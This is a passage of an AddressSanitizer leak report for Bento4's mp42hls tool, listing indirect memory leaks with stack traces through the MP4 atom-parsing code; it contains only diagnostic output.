#11 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#12 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#13 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#14 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#15 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#16 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#17 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#18 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 312 byte(s) in 8 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x53c1a4 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/test_mp42hls/mp42hls+0x53c1a4)
#3 0x4222e1 in main (/test_mp42hls/mp42hls+0x4222e1)
#4 0x7f476e4f2c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 256 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4bf01d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4bf01d)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4c78bc in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c78bc)
#5 0x53a38e in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/test_mp42hls/mp42hls+0x53a38e)
#6 0x53c1a4 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/test_mp42hls/mp42hls+0x53c1a4)
#7 0x4222e1 in main (/test_mp42hls/mp42hls+0x4222e1)
#8 0x7f476e4f2c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 240 byte(s) in 3 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 192 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#3 0x6c5538 in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x6c5538)
#4 0x6c48d2 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x6c48d2)
#5 0x4ba8b3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4ba8b3)
#6 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#7 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#8 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#9 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#10 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#11 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#12 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#13 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#14 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#15 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#16 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#17 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#18 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#19 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#20 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 192 byte(s) in 2 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#3 0x4c78bc in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c78bc)
#4 0x53a38e in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/test_mp42hls/mp42hls+0x53a38e)
#5 0x53c1a4 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/test_mp42hls/mp42hls+0x53c1a4)
#6 0x4222e1 in main (/test_mp42hls/mp42hls+0x4222e1)
#7 0x7f476e4f2c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 176 byte(s) in 2 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c78bc in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c78bc)
#3 0x53a38e in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) (/test_mp42hls/mp42hls+0x53a38e)
#4 0x53c1a4 in AP4_File::AP4_File(AP4_ByteStream&, bool) (/test_mp42hls/mp42hls+0x53c1a4)
#5 0x4222e1 in main (/test_mp42hls/mp42hls+0x4222e1)
#6 0x7f476e4f2c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 160 byte(s) in 2 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#6 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#7 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#8 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#9 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#10 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#11 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#12 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#13 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 152 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4b8f63 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4b8f63)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 144 byte(s) in 6 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#3 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#4 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#5 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#6 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#7 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#8 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#9 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#10 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#11 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#12 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#13 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#14 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 144 byte(s) in 6 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 136 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4ba099 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4ba099)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 120 byte(s) in 2 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x7f476e4f2c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
Indirect leak of 120 byte(s) in 5 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#3 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#4 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#5 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#6 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 104 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4ba8b3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4ba8b3)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#6 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#7 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#8 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#9 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#10 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#11 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#12 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#13 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#14 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#15 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#16 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#17 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 104 byte(s) in 2 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x868704 in AP4_EsDescriptor::AP4_EsDescriptor(AP4_ByteStream&, unsigned int, unsigned int) (/test_mp42hls/mp42hls+0x868704)
#3 0x85d250 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) (/test_mp42hls/mp42hls+0x85d250)
#4 0x537d62 in AP4_EsdsAtom::Create(unsigned int, AP4_ByteStream&) (/test_mp42hls/mp42hls+0x537d62)
#5 0x4bb623 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4bb623)
#6 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#7 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#8 0x672a2e in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x672a2e)
#9 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#10 0x6c5538 in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x6c5538)
#11 0x6c48d2 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x6c48d2)
#12 0x4ba8b3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4ba8b3)
#13 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#14 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#15 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#16 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#17 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#18 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#19 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#20 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#21 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#22 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#23 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#24 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#25 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#26 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#27 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 101 byte(s) in 2 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4b9f41 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4b9f41)
#3 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#4 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#5 0x4fc2da in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fc2da)
#6 0x4c4421 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c4421)
#7 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#8 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#9 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 96 byte(s) in 1 object(s) allocated from:
#0 0x9def30 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f476f32e297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
#2 0x4c9f46 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) (/test_mp42hls/mp42hls+0x4c9f46)
#3 0x4fcb35 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) (/test_mp42hls/mp42hls+0x4fcb35)
#4 0x4fedeb in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) (/test_mp42hls/mp42hls+0x4fedeb)
Indirect leak of 89 byte(s) in 2 object(s) allocated from:
